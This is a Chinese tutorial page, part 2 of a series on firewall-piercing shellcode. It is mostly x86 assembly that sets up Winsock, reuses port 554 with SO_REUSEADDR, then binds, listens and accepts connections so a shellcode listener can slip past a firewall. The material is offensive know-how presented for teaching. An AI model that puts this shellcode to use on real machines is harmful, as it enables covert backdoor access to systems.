编写和应用穿墙Shellcode(2)

http://www.itjxue.com  2015-07-17 21:29  来源:未知  点击次数: 

  端口复用和文件传送的汇编实现

  端口复用的部分代码如下:

  push esi

  push 2

  call [ebp + 40h] //WSAStartup

  push 6 //IPPROTO_TCP

  push 1 //SOCK_STREAM

  push 2 //AF_INET

  call [ebp + 44h] //socket创建套接字

  mov [ebp + 28h], eax

  push 4

  mov dword ptr[esi + 400], 1

  lea eax, [esi + 400] //存放optval, 占4字节

  push eax

  push 4 //SO_REUSEADDR

  push 0xffff //SOL_SOCKET

  push [ebp + 28h]

  call [ebp + 48h] //setsockopt

  mov word ptr[esi + 404], 2 //AF_INET

  mov word ptr[esi + 406], 0x2A02 //htons(554) 2803(808)

  mov dword ptr[esi + 408], 0 //ADDR_ANY

  push 16

  lea eax, [esi + 404]

  push eax

  push [ebp + 28h]

  call [ebp + 4ch] //bind

  push 2

  push [ebp + 28h]

  call [ebp + 50h] //listen

  mov dword ptr[esi + 436], 16

  lea eax, [esi + 436]

  push eax

  lea eax, [esi + 420]

  push eax

  push [ebp + 28h]

  call [ebp + 54h] //accept

  其实上述实现过程就如同创建普通的网络服务程序一样,只是在为某些函数实参和返回值分配内存的时候应该注意不要发生地址重合了。

(责任编辑:IT教学网)

更多

推荐编程综合文章